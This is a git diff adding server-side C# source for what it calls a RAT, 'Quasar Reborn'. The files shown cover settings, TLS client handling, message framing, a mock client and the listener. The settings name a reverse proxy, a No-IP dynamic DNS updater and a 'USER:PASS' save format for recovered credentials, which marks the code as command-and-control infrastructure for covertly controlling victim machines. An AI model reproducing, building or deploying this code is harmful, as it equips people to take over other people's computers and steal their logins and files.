134, 149, 170, 240, 146, 169, 149, 250, 17, 49, 162, 6, 233, 194, 83, 210, 129, 141, 76, 115, + 151, 173, 48, 59, 48, 31, 48, 7, 6, 5, 43, 14, 3, 2, 26, 4, 20, 46, 139, 176, 16, 247, 139, 61, 176, 37, 63, + 246, 211, 123, 201, 3, 7, 235, 129, 230, 125, 4, 20, 175, 27, 113, 89, 19, 230, 155, 210, 161, 63, 10, 47, + 233, 189, 221, 31, 172, 172, 134, 47, 2, 2, 7, 208 + }; + + /// + /// Initializes a new instance of with a static dummy certificate. + /// + public DummyCertificate() :base(CertificateBytes) + { + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Models/FileManagerListTag.cs b/Quasar-1.4.1/Quasar.Server/Models/FileManagerListTag.cs new file mode 100755 index 0000000..1229c5f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Models/FileManagerListTag.cs @@ -0,0 +1,17 @@ +using Quasar.Common.Enums; + +namespace Quasar.Server.Models +{ + public class FileManagerListTag + { + public FileType Type { get; set; } + + public long FileSize { get; set; } + + public FileManagerListTag(FileType type, long fileSize) + { + this.Type = type; + this.FileSize = fileSize; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Models/FileTransfer.cs b/Quasar-1.4.1/Quasar.Server/Models/FileTransfer.cs new file mode 100755 index 0000000..e35f663 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Models/FileTransfer.cs @@ -0,0 +1,71 @@ +using Quasar.Common.IO; +using Quasar.Common.Utilities; +using Quasar.Server.Enums; +using System; + +namespace Quasar.Server.Models +{ + public class FileTransfer : IEquatable + { + private static readonly SafeRandom Random = new SafeRandom(); + + public int Id { get; set; } + public TransferType Type { get; set; } + public long Size { get; set; } + public long TransferredSize { get; set; } + public string LocalPath { get; set; } + public string RemotePath { get; set; } + public string Status { get; set; } + public FileSplit FileSplit { get; set; } + + public bool Equals(FileTransfer other) + { + if (ReferenceEquals(null, other)) return false; + if (ReferenceEquals(this, other)) return true; + return Id == other.Id && Type == other.Type && Size == other.Size && + TransferredSize == other.TransferredSize && string.Equals(LocalPath, other.LocalPath) && + string.Equals(RemotePath, other.RemotePath) && string.Equals(Status, other.Status); + } + + /// + /// Creates a new object that is a copy of the current instance. + /// + /// A new object that is a copy of this instance. + public FileTransfer Clone() + { + return new FileTransfer() + { + Id = Id, Type = Type, Size = Size, TransferredSize = TransferredSize, LocalPath = LocalPath, + RemotePath = RemotePath, Status = Status, FileSplit = FileSplit + }; + } + + public static bool operator ==(FileTransfer f1, FileTransfer f2) + { + if (ReferenceEquals(f1, null)) + return ReferenceEquals(f2, null); + + return f1.Equals(f2); + } + + public static bool operator !=(FileTransfer f1, FileTransfer f2) + { + return !(f1 == f2); + } + + public override bool Equals(object obj) + { + return Equals(obj as FileTransfer); + } + + public override int GetHashCode() + { + return Id; + } + + public static int GetRandomTransferId() + { + return Random.Next(0, int.MaxValue); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Models/Settings.cs b/Quasar-1.4.1/Quasar.Server/Models/Settings.cs new file mode 100755 index 0000000..b98c684 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Models/Settings.cs @@ -0,0 +1,261 @@ +using System.IO; +using System.Windows.Forms; +using System.Xml; +using System.Xml.XPath; + +namespace Quasar.Server.Models +{ + public static class Settings + { + private static readonly string SettingsPath = Path.Combine(Application.StartupPath, "settings.xml"); + + public static readonly string CertificatePath = Path.Combine(Application.StartupPath, "quasar.p12"); + + public static ushort ListenPort + { + get + { + return ushort.Parse(ReadValueSafe("ListenPort", "4782")); + } + set + { + WriteValue("ListenPort", value.ToString()); + } + } + + public static bool IPv6Support + { + get + { + return bool.Parse(ReadValueSafe("IPv6Support", "False")); + } + set + { + WriteValue("IPv6Support", value.ToString()); + } + } + + public static bool AutoListen + { + get + { + return bool.Parse(ReadValueSafe("AutoListen", "False")); + } + set + { + WriteValue("AutoListen", value.ToString()); + } + } + + public static bool ShowPopup + { + get + { + return bool.Parse(ReadValueSafe("ShowPopup", "False")); + } + set + { + WriteValue("ShowPopup", value.ToString()); + } + } + + public static bool UseUPnP + { + get + { + return bool.Parse(ReadValueSafe("UseUPnP", "False")); + } + set + { + WriteValue("UseUPnP", value.ToString()); + } + } + + public static bool ShowToolTip + { + get + { + return bool.Parse(ReadValueSafe("ShowToolTip", "False")); + } + set + { + WriteValue("ShowToolTip", value.ToString()); + } + } + + public static bool EnableNoIPUpdater + { + get + { + return bool.Parse(ReadValueSafe("EnableNoIPUpdater", "False")); + } + set + { + WriteValue("EnableNoIPUpdater", value.ToString()); + } + } + + public static string NoIPHost + { + get + { + return ReadValueSafe("NoIPHost"); + } + set + { + WriteValue("NoIPHost", value); + } + } + + public static string NoIPUsername + { + get + { + return ReadValueSafe("NoIPUsername"); + } + set + { + WriteValue("NoIPUsername", value); + } + } + + public static string NoIPPassword + { + get + { + return ReadValueSafe("NoIPPassword"); + } + set + { + WriteValue("NoIPPassword", value); + } + } + + public static string SaveFormat + { + get + { + return ReadValueSafe("SaveFormat", "APP - URL - USER:PASS"); + } + set + { + WriteValue("SaveFormat", value); + } + } + + public static ushort ReverseProxyPort + { + get + { + return ushort.Parse(ReadValueSafe("ReverseProxyPort", "3128")); + } + set + { + WriteValue("ReverseProxyPort", value.ToString()); + } + } + + public static bool DarkMode + { + get + { + return bool.Parse(ReadValueSafe("DarkMode", "False")); + } + set + { + WriteValue("DarkMode", value.ToString()); + } + } + + public static string CustomRatName + { + get + { + return ReadValueSafe("CustomRatName", "Quasar Reborn"); + } + set + { + WriteValue("CustomRatName", value); + } + } + + public static bool FlatContextMenu + { + get + { + return bool.Parse(ReadValueSafe("FlatContextMenu", "False")); + } + set + { + WriteValue("FlatContextMenu", value.ToString()); + } + } + + private static string ReadValue(string pstrValueToRead) + { + try + { + XPathDocument doc = new XPathDocument(SettingsPath); + XPathNavigator nav = doc.CreateNavigator(); + XPathExpression expr = nav.Compile(@"/settings/" + pstrValueToRead); + XPathNodeIterator iterator = nav.Select(expr); + while (iterator.MoveNext()) + { + return iterator.Current.Value; + } + + return string.Empty; + } + catch + { + return string.Empty; + } + } + + private static string ReadValueSafe(string pstrValueToRead, string defaultValue = "") + { + string value = ReadValue(pstrValueToRead); + return (!string.IsNullOrEmpty(value)) ? value: defaultValue; + } + + private static void WriteValue(string pstrValueToRead, string pstrValueToWrite) + { + try + { + XmlDocument doc = new XmlDocument(); + + if (File.Exists(SettingsPath)) + { + using (var reader = new XmlTextReader(SettingsPath)) + { + doc.Load(reader); + } + } + else + { + var dir = Path.GetDirectoryName(SettingsPath); + if (!Directory.Exists(dir)) + { + Directory.CreateDirectory(dir); + } + doc.AppendChild(doc.CreateElement("settings")); + } + + XmlElement root = doc.DocumentElement; + XmlNode oldNode = root.SelectSingleNode(@"/settings/" + pstrValueToRead); + if (oldNode == null) // create if not exist + { + oldNode = doc.SelectSingleNode("settings"); + oldNode.AppendChild(doc.CreateElement(pstrValueToRead)).InnerText = pstrValueToWrite; + doc.Save(SettingsPath); + return; + } + oldNode.InnerText = pstrValueToWrite; + doc.Save(SettingsPath); + } + catch + { + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Networking/BufferPool.cs b/Quasar-1.4.1/Quasar.Server/Networking/BufferPool.cs new file mode 100755 index 0000000..20f77c6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Networking/BufferPool.cs @@ -0,0 +1,178 @@ +using System; +using System.Collections.Generic; + +namespace Quasar.Server.Networking +{ + /// + /// Implements a pool of byte arrays to improve allocation performance when parsing data. + /// + /// This type is safe for multi-threaded operations. + public class BufferPool + { + private readonly int _bufferLength; + private int _bufferCount; + private readonly Stack _buffers; + + /// + /// Gets the size of the buffers allocated from this pool. + /// + public int BufferLength => _bufferLength; + + /// + /// Gets the maximum number of buffers available at any given time from this pool. + /// + public int MaxBufferCount => _bufferCount; + + /// + /// Gets the current number of buffers available for use. + /// + public int BuffersAvailable => _buffers.Count; + + /// + /// Gets or sets whether to zero the contents of a buffer when it is returned. + /// + public bool ClearOnReturn { get; set; } + + /// + /// Creates a new buffer pool with the specified name, buffer sizes, and buffer count. + /// + /// The size of the preallocated buffers. + /// The number of preallocated buffers that should be available. + /// Thrown if or + /// are zero or negative. + public BufferPool(int baseBufferLength, int baseBufferCount) + { + if (baseBufferLength <= 0) + throw new ArgumentOutOfRangeException("baseBufferLength", baseBufferLength, "Buffer length must be a positive integer value."); + if (baseBufferCount <= 0) + throw new ArgumentOutOfRangeException("baseBufferCount", baseBufferCount, "Buffer count must be a positive integer value."); + + _bufferLength = baseBufferLength; + _bufferCount = baseBufferCount; + + _buffers = new Stack(baseBufferCount); + + for (int i = 0; i < baseBufferCount; i++) + { + _buffers.Push(new byte[baseBufferLength]); + } + } + + /// + /// Gets a buffer from the available pool if one is available, or else allocates a new one. + /// + /// + /// Buffers retrieved with this method should be returned to the pool by using the + /// ReturnBuffer method. + /// + /// A byte[] from the pool. + public byte[] GetBuffer() + { + lock (_buffers) + { + if (_buffers.Count > 0) + { + byte[] buffer = _buffers.Pop(); + return buffer; + } + } + + return AllocateNewBuffer(); + } + + private byte[] AllocateNewBuffer() + { + _bufferCount++; + return new byte[_bufferLength]; + } + + /// + /// Returns the specified buffer to the pool. + /// + /// if the buffer belonged to this pool and was freed; otherwise . + /// + /// If the ClearOnFree property is , then the buffer will be zeroed before + /// being restored to the pool. + /// + /// The buffer to return to the pool. + /// Thrown if is . + public bool ReturnBuffer(byte[] buffer) + { + if (buffer == null) + throw new ArgumentNullException("buffer"); + if (buffer.Length != _bufferLength) + return false; + + if (ClearOnReturn) + Array.Clear(buffer, 0, buffer.Length); + + lock (_buffers) + { + if (!_buffers.Contains(buffer)) + _buffers.Push(buffer); + } + return true; + } + + /// + /// Increases the number of buffers available in the pool by a given size. + /// + /// The number of buffers to preallocate. + /// Thrown if the system is unable to preallocate the requested number of buffers. + /// Thrown if is less than or equal to 0. + /// + /// This method does not cause the NewBufferAllocated event to be raised. + /// + public void IncreaseBufferCount(int buffersToAdd) + { + if (buffersToAdd <= 0) + throw new ArgumentOutOfRangeException("buffersToAdd", buffersToAdd, "The number of buffers to add must be a nonnegative, nonzero integer."); + + List newBuffers = new List(buffersToAdd); + for (int i = 0; i < buffersToAdd; i++) + { + newBuffers.Add(new byte[_bufferLength]); + } + + lock (_buffers) + { + _bufferCount += buffersToAdd; + for (int i = 0; i < buffersToAdd; i++) + { + _buffers.Push(newBuffers[i]); + } + } + } + + /// + /// Removes up to the specified number of buffers from the pool. + /// + /// The number of buffers to attempt to remove. + /// The number of buffers actually removed. + /// + /// The number of buffers removed may actually be lower than the number requested if the specified number of buffers are not free. + /// For example, if the number of buffers free is 15, and the callee requests the removal of 20 buffers, only 15 will be freed, and so the + /// returned value will be 15. + /// + /// Thrown if is less than or equal to 0. + public int DecreaseBufferCount(int buffersToRemove) + { + if (buffersToRemove <= 0) + throw new ArgumentOutOfRangeException("buffersToRemove", buffersToRemove, "The number of buffers to remove must be a nonnegative, nonzero integer."); + + int numRemoved = 0; + + lock (_buffers) + { + for (int i = 0; i < buffersToRemove && _buffers.Count > 0; i++) + { + _buffers.Pop(); + numRemoved++; + _bufferCount--; + } + } + + return numRemoved; + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Networking/Client.cs b/Quasar-1.4.1/Quasar.Server/Networking/Client.cs new file mode 100755 index 0000000..d913b7e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Networking/Client.cs @@ -0,0 +1,590 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Net; +using System.Net.Security; +using System.Threading; + +namespace Quasar.Server.Networking +{ + public class Client : IEquatable, ISender + { + /// + /// Occurs when the state of the client changes. + /// + public event ClientStateEventHandler ClientState; + + /// + /// Represents the method that will handle a change in a client's state. + /// + /// The client which changed its state. + /// The new connection state of the client. + public delegate void ClientStateEventHandler(Client s, bool connected); + + /// + /// Fires an event that informs subscribers that the state of the client has changed. + /// + /// The new connection state of the client. + private void OnClientState(bool connected) + { + if (Connected == connected) return; + + Connected = connected; + + var handler = ClientState; + handler?.Invoke(this, connected); + } + + /// + /// Occurs when a message is received from the client. + /// + public event ClientReadEventHandler ClientRead; + + /// + /// Represents the method that will handle a message received from the client. + /// + /// The client that has received the message. + /// The message that received by the client. + /// The length of the message. + public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength); + + /// + /// Fires an event that informs subscribers that a message has been + /// received from the client. + /// + /// The message that received by the client. + /// The length of the message. + private void OnClientRead(IMessage message, int messageLength) + { + var handler = ClientRead; + handler?.Invoke(this, message, messageLength); + } + + /// + /// Occurs when a message is sent by the client. + /// + public event ClientWriteEventHandler ClientWrite; + + /// + /// Represents the method that will handle the sent message. + /// + /// The client that has sent the message. + /// The message that has been sent by the client. + /// The length of the message. + public delegate void ClientWriteEventHandler(Client s, IMessage message, int messageLength); + + /// + /// Fires an event that informs subscribers that the client has sent a message. + /// + /// The message that has been sent by the client. + /// The length of the message. + private void OnClientWrite(IMessage message, int messageLength) + { + var handler = ClientWrite; + handler?.Invoke(this, message, messageLength); + } + + public static bool operator ==(Client c1, Client c2) + { + if (ReferenceEquals(c1, null)) + return ReferenceEquals(c2, null); + + return c1.Equals(c2); + } + + public static bool operator !=(Client c1, Client c2) + { + return !(c1 == c2); + } + + /// + /// Checks whether the clients are equal. + /// + /// Client to compare with. + /// True if equal, else False. + public bool Equals(Client other) + { + if (ReferenceEquals(null, other)) return false; + if (ReferenceEquals(this, other)) return true; + + try + { + // the port is always unique for each client + return this.EndPoint.Port.Equals(other.EndPoint.Port); + } + catch (Exception) + { + return false; + } + } + + public override bool Equals(object obj) + { + return this.Equals(obj as Client); + } + + /// + /// Returns the hashcode for this instance. + /// + /// A hash code for the current instance. + public override int GetHashCode() + { + return this.EndPoint.GetHashCode(); + } + + /// + /// The type of the message received. + /// + public enum ReceiveType + { + Header, + Payload + } + + /// + /// The stream used for communication. + /// + private readonly SslStream _stream; + + /// + /// The buffer pool to hold the receive-buffers for the clients. + /// + private readonly BufferPool _bufferPool; + + /// + /// The queue which holds messages to send. + /// + private readonly Queue _sendBuffers = new Queue(); + + /// + /// Determines if the client is currently sending messages. + /// + private bool _sendingMessages; + + /// + /// Lock object for the sending messages boolean. + /// + private readonly object _sendingMessagesLock = new object(); + + /// + /// The queue which holds buffers to read. + /// + private readonly Queue _readBuffers = new Queue(); + + /// + /// Determines if the client is currently reading messages. + /// + private bool _readingMessages; + + /// + /// Lock object for the reading messages boolean. + /// + private readonly object _readingMessagesLock = new object(); + + // receive info + private int _readOffset; + private int _writeOffset; + private int _readableDataLen; + private int _payloadLen; + private ReceiveType _receiveState = ReceiveType.Header; + + /// + /// The time when the client connected. + /// + public DateTime ConnectedTime { get; } + + /// + /// The connection state of the client. + /// + public bool Connected { get; private set; } + + /// + /// Determines if the client is identified. + /// + public bool Identified { get; set; } + + /// + /// Stores values of the user. + /// + public UserState Value { get; set; } + + /// + /// The Endpoint which the client is connected to. + /// + public IPEndPoint EndPoint { get; } + + /// + /// The buffer for the client's incoming messages. + /// + private readonly byte[] _readBuffer; + + /// + /// The buffer for the client's incoming payload. + /// + private byte[] _payloadBuffer; + + /// + /// The header size in bytes. + /// + private const int HeaderSize = 4; // 4 B + + /// + /// The maximum size of a message in bytes. + /// + private const int MaxMessageSize = (1024 * 1024) * 5; // 5 MB + + /// + /// The mutex prevents multiple simultaneous write operations on the . + /// + private readonly Mutex _singleWriteMutex = new Mutex(); + + public Client(BufferPool bufferPool, SslStream stream, IPEndPoint endPoint) + { + try + { + Identified = false; + Value = new UserState(); + EndPoint = endPoint; + ConnectedTime = DateTime.UtcNow; + _stream = stream; + _bufferPool = bufferPool; + _readBuffer = _bufferPool.GetBuffer(); + _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); + OnClientState(true); + } + catch (Exception) + { + Disconnect(); + } + } + + private void AsyncReceive(IAsyncResult result) + { + int bytesTransferred; + + try + { + bytesTransferred = _stream.EndRead(result); + + if (bytesTransferred <= 0) + throw new Exception("no bytes transferred"); + } + catch (NullReferenceException) + { + return; + } + catch (ObjectDisposedException) + { + return; + } + catch (Exception) + { + Disconnect(); + return; + } + + byte[] received = new byte[bytesTransferred]; + + try + { + Array.Copy(_readBuffer, received, received.Length); + } + catch (Exception) + { + Disconnect(); + return; + } + + lock (_readBuffers) + { + _readBuffers.Enqueue(received); + } + + lock (_readingMessagesLock) + { + if (!_readingMessages) + { + _readingMessages = true; + ThreadPool.QueueUserWorkItem(AsyncReceive); + } + } + + try + { + _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); + } + catch (ObjectDisposedException) + { + } + catch (Exception) + { + Disconnect(); + } + } + + private void AsyncReceive(object state) + { + while (true) + { + byte[] readBuffer; + lock (_readBuffers) + { + if (_readBuffers.Count == 0) + { + lock (_readingMessagesLock) + { + _readingMessages = false; + } + return; + } + + readBuffer = _readBuffers.Dequeue(); + } + + _readableDataLen += readBuffer.Length; + bool process = true; + while (process) + { + switch (_receiveState) + { + case ReceiveType.Header: + { + if (_payloadBuffer == null) + _payloadBuffer = new byte[HeaderSize]; + + if (_readableDataLen + _writeOffset >= HeaderSize) + { + // completely received header + int headerLength = HeaderSize - _writeOffset; + + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, headerLength); + + _payloadLen = BitConverter.ToInt32(_payloadBuffer, _readOffset); + + if (_payloadLen <= 0 || _payloadLen > MaxMessageSize) + throw new Exception("invalid header"); + + // try to re-use old payload buffers which fit + if (_payloadBuffer.Length <= _payloadLen + HeaderSize) + Array.Resize(ref _payloadBuffer, _payloadLen + HeaderSize); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _readableDataLen -= headerLength; + _writeOffset += headerLength; + _readOffset += headerLength; + _receiveState = ReceiveType.Payload; + } + else // _readableDataLen + _writeOffset < HeaderSize + { + // received only a part of the header + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, _readableDataLen); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + _readOffset += _readableDataLen; + _writeOffset += _readableDataLen; + process = false; + // nothing left to process + } + break; + } + case ReceiveType.Payload: + { + int length = (_writeOffset - HeaderSize + _readableDataLen) >= _payloadLen + ? _payloadLen - (_writeOffset - HeaderSize) + : _readableDataLen; + + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _writeOffset += length; + _readOffset += length; + _readableDataLen -= length; + + if (_writeOffset - HeaderSize == _payloadLen) + { + // completely received payload + try + { + using (PayloadReader pr = new PayloadReader(_payloadBuffer, _payloadLen + HeaderSize, false)) + { + IMessage message = pr.ReadMessage(); + + OnClientRead(message, _payloadBuffer.Length); + } + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _receiveState = ReceiveType.Header; + _payloadLen = 0; + _writeOffset = 0; + } + + if (_readableDataLen == 0) + process = false; + + break; + } + } + } + + _readOffset = 0; + _readableDataLen = 0; + } + } + + /// + /// Sends a message to the connected client. + /// + /// The type of the message. + /// The message to be sent. + public void Send(T message) where T : IMessage + { + if (!Connected || message == null) return; + + lock (_sendBuffers) + { + _sendBuffers.Enqueue(message); + + lock (_sendingMessagesLock) + { + if (_sendingMessages) return; + + _sendingMessages = true; + ThreadPool.QueueUserWorkItem(ProcessSendBuffers); + } + } + } + + /// + /// Sends a message to the connected client. + /// Blocks the thread until the message has been sent. + /// + /// The type of the message. + /// The message to be sent. + public void SendBlocking(T message) where T : IMessage + { + if (!Connected || message == null) return; + + SafeSendMessage(message); + } + + /// + /// Safely sends a message and prevents multiple simultaneous + /// write operations on the . + /// + /// The message to send. + private void SafeSendMessage(IMessage message) + { + try + { + _singleWriteMutex.WaitOne(); + using (PayloadWriter pw = new PayloadWriter(_stream, true)) + { + OnClientWrite(message, pw.WriteMessage(message)); + } + } + catch (Exception) + { + Disconnect(); + SendCleanup(true); + } + finally + { + _singleWriteMutex.ReleaseMutex(); + } + } + + private void ProcessSendBuffers(object state) + { + while (true) + { + if (!Connected) + { + SendCleanup(true); + return; + } + + IMessage message; + lock (_sendBuffers) + { + if (_sendBuffers.Count == 0) + { + SendCleanup(); + return; + } + + message = _sendBuffers.Dequeue(); + } + + SafeSendMessage(message); + } + } + + private void SendCleanup(bool clear = false) + { + lock (_sendingMessagesLock) + { + _sendingMessages = false; + } + + if (!clear) return; + + lock (_sendBuffers) + { + _sendBuffers.Clear(); + } + } + + /// + /// Disconnect the client from the server and dispose of + /// resources associated with the client. + /// + public void Disconnect() + { + if (_stream != null) + { + _stream.Close(); + _readOffset = 0; + _writeOffset = 0; + _readableDataLen = 0; + _payloadLen = 0; + _payloadBuffer = null; + _receiveState = ReceiveType.Header; + _singleWriteMutex.Dispose(); + + _bufferPool.ReturnBuffer(_readBuffer); + } + + OnClientState(false); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Networking/MockClient.cs b/Quasar-1.4.1/Quasar.Server/Networking/MockClient.cs new file mode 100755 index 0000000..50d2ceb --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Networking/MockClient.cs @@ -0,0 +1,153 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; + +namespace Quasar.Server.Networking +{ + /// + /// Mock client for testing purposes. Does not have actual network connection. + /// + public class MockClient : ISender + { + public event Client.ClientStateEventHandler ClientState; + public event Client.ClientReadEventHandler ClientRead; + public event Client.ClientWriteEventHandler ClientWrite; + + public DateTime ConnectedTime { get; } + public bool Connected { get; private set; } + public bool Identified { get; set; } + public UserState Value { get; set; } + public IPEndPoint EndPoint { get; } + public bool IsMock => true; + + private static Random _random = new Random(); + private static string _lastCountryCode = "US"; + private static string _lastCountryName = "United States"; + + public MockClient() + { + ConnectedTime = DateTime.UtcNow; + Connected = true; + Identified = true; + + // Generate random mock data + var mockIp = $"192.168.{_random.Next(1, 255)}.{_random.Next(1, 255)}"; + var mockPort = _random.Next(10000, 65535); + EndPoint = new IPEndPoint(IPAddress.Parse(mockIp), mockPort); + + // Get country info (this sets both _lastCountryCode and _lastCountryName) + var countryInfo = GetRandomCountryInfo(); + + Value = new UserState + { + Version = System.Windows.Forms.Application.ProductVersion, + OperatingSystem = GetRandomOS(), + AccountType = _random.Next(0, 2) == 0 ? "Admin" : "User", + ImageIndex = countryInfo.ImageIndex, + Country = countryInfo.Name, + CountryCode = countryInfo.Code, + Id = Guid.NewGuid().ToString(), + Username = $"TestUser{_random.Next(100, 999)}", + PcName = $"PC-{_random.Next(1000, 9999)}", + Tag = $"MockClient{_random.Next(1000, 9999)}", + EncryptionKey = "MockEncryptionKey123456789012345" + }; + } + + public void Send(T message) where T : IMessage + { + // Mock client doesn't actually send messages + // Just invoke the write event for statistics tracking + OnClientWrite(message, 0); + } + + public void SendBlocking(T message) where T : IMessage + { + // Mock client doesn't actually send messages + OnClientWrite(message, 0); + } + + public void Disconnect() + { + Connected = false; + OnClientState(false); + } + + private void OnClientState(bool connected) + { + ClientState?.Invoke(null, connected); + } + + private void OnClientWrite(IMessage message, int messageLength) + { + ClientWrite?.Invoke(null, message, messageLength); + } + + public bool Equals(Client other) + { + if (ReferenceEquals(null, other)) return false; + if (ReferenceEquals(this, other)) return true; + return this.EndPoint.Port.Equals(other.EndPoint.Port); + } + + public override bool Equals(object obj) + { + return this.Equals(obj as Client); + } + + public override int GetHashCode() + { + return this.EndPoint.GetHashCode(); + } + + private static string GetRandomOS() + { + string[] osList = new[] + { + "Windows 11 Pro 64 Bit", + "Windows 10 Pro 64 Bit", + "Windows 10 Home 64 Bit", + "Windows 11 Home 64 Bit", + "Windows Server 2022 64 Bit", + "Windows Server 2019 64 Bit" + }; + return osList[_random.Next(osList.Length)]; + } + + private class CountryInfo + { + public string Code { get; set; } + public string Name { get; set; } + public int ImageIndex { get; set; } + } + + private static CountryInfo GetRandomCountryInfo() + { + // These indices match the _imageList array in GeoInformationRetriever.cs + // The array is alphabetically sorted by country code + var countries = new List + { + new CountryInfo { Code = "US", Name = "United States", ImageIndex = 229 }, + new CountryInfo { Code = "GB", Name = "United Kingdom", ImageIndex = 78 }, + new CountryInfo { Code = "DE", Name = "Germany", ImageIndex = 55 }, + new CountryInfo { Code = "FR", Name = "France", ImageIndex = 76 }, + new CountryInfo { Code = "CA", Name = "Canada", ImageIndex = 35 }, + new CountryInfo { Code = "AU", Name = "Australia", ImageIndex = 12 }, + new CountryInfo { Code = "JP", Name = "Japan", ImageIndex = 112 }, + new CountryInfo { Code = "CN", Name = "China", ImageIndex = 46 }, + new CountryInfo { Code = "BR", Name = "Brazil", ImageIndex = 28 }, + new CountryInfo { Code = "IN", Name = "India", ImageIndex = 104 }, + new CountryInfo { Code = "RU", Name = "Russia", ImageIndex = 188 }, + new CountryInfo { Code = "MX", Name = "Mexico", ImageIndex = 154 }, + new CountryInfo { Code = "IT", Name = "Italy", ImageIndex = 109 }, + new CountryInfo { Code = "ES", Name = "Spain", ImageIndex = 67 }, + new CountryInfo { Code = "KR", Name = "South Korea", ImageIndex = 120 } + }; + + return countries[_random.Next(countries.Count)]; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Networking/QuasarServer.cs b/Quasar-1.4.1/Quasar.Server/Networking/QuasarServer.cs new file mode 100755 index 0000000..fa8d5d4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Networking/QuasarServer.cs @@ -0,0 +1,164 @@ +using Quasar.Common.Cryptography; +using Quasar.Common.Messages; +using System; +using System.Linq; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; + +namespace Quasar.Server.Networking +{ + public class QuasarServer : Server + { + /// + /// Gets the clients currently connected and identified to the server. + /// + public Client[] ConnectedClients + { + get { return Clients.Where(c => c != null && c.Identified).ToArray(); } + } + + /// + /// Occurs when a client connected. + /// + public event ClientConnectedEventHandler ClientConnected; + + /// + /// Represents the method that will handle the connected client. + /// + /// The connected client. + public delegate void ClientConnectedEventHandler(Client client); + + /// + /// Fires an event that informs subscribers that the client is connected. + /// + /// The connected client. + private void OnClientConnected(Client client) + { + if (ProcessingDisconnect || !Listening) return; + var handler = ClientConnected; + handler?.Invoke(client); + } + + /// + /// Occurs when a client disconnected. + /// + public event ClientDisconnectedEventHandler ClientDisconnected; + + /// + /// Represents the method that will handle the disconnected client. + /// + /// The disconnected client. + public delegate void ClientDisconnectedEventHandler(Client client); + + /// + /// Fires an event that informs subscribers that the client is disconnected. + /// + /// The disconnected client. + private void OnClientDisconnected(Client client) + { + if (ProcessingDisconnect || !Listening) return; + var handler = ClientDisconnected; + handler?.Invoke(client); + } + + /// + /// Constructor, initializes required objects and subscribes to events of the server. + /// + /// The server certificate. + public QuasarServer(X509Certificate2 serverCertificate) : base(serverCertificate) + { + base.ClientState += OnClientState; + base.ClientRead += OnClientRead; + } + + /// + /// Decides if the client connected or disconnected. + /// + /// The server the client is connected to. + /// The client which changed its state. + /// True if the client connected, false if disconnected. + private void OnClientState(Server server, Client client, bool connected) + { + if (!connected) + { + if (client.Identified) + { + OnClientDisconnected(client); + } + } + } + + /// + /// Forwards received messages from the client to the MessageHandler. + /// + /// The server the client is connected to. + /// The client which has received the message. + /// The received message. + private void OnClientRead(Server server, Client client, IMessage message) + { + if (!client.Identified) + { + if (message.GetType() == typeof (ClientIdentification)) + { + client.Identified = IdentifyClient(client, (ClientIdentification) message); + if (client.Identified) + { + client.Send(new ClientIdentificationResult {Result = true}); // finish handshake + OnClientConnected(client); + } + else + { + // identification failed + client.Disconnect(); + } + } + else + { + // no messages of other types are allowed as long as client is in unidentified state + client.Disconnect(); + } + return; + } + + MessageHandler.Process(client, message); + } + + private bool IdentifyClient(Client client, ClientIdentification packet) + { + if (packet.Id.Length != 64) + return false; + + client.Value.Version = packet.Version; + client.Value.OperatingSystem = packet.OperatingSystem; + client.Value.AccountType = packet.AccountType; + client.Value.Country = packet.Country; + client.Value.CountryCode = packet.CountryCode; + client.Value.Id = packet.Id; + client.Value.Username = packet.Username; + client.Value.PcName = packet.PcName; + client.Value.Tag = packet.Tag; + client.Value.ImageIndex = packet.ImageIndex; + client.Value.EncryptionKey = packet.EncryptionKey; + + // TODO: Refactor tooltip + //if (Settings.ShowToolTip) + // client.Send(new GetSystemInfo()); + +#if !DEBUG + try + { + var csp = (RSACryptoServiceProvider)ServerCertificate.PublicKey.Key; + return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(packet.EncryptionKey)), + CryptoConfig.MapNameToOID("SHA256"), packet.Signature); + } + catch (Exception) + { + return false; + } +#else + return true; +#endif + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Networking/Server.cs b/Quasar-1.4.1/Quasar.Server/Networking/Server.cs new file mode 100755 index 0000000..4c6c976 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Networking/Server.cs @@ -0,0 +1,421 @@ +using Quasar.Common.Extensions; +using Quasar.Common.Messages; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Threading; + +namespace Quasar.Server.Networking +{ + public class Server + { + /// + /// Occurs when the state of the server changes. + /// + public event ServerStateEventHandler ServerState; + + /// + /// Represents a method that will handle a change in the server's state. + /// + /// The server which changed its state. + /// The new listening state of the server. + /// The port the server is listening on, if listening is True. + public delegate void ServerStateEventHandler(Server s, bool listening, ushort port); + + /// + /// Fires an event that informs subscribers that the server has changed it's state. + /// + /// 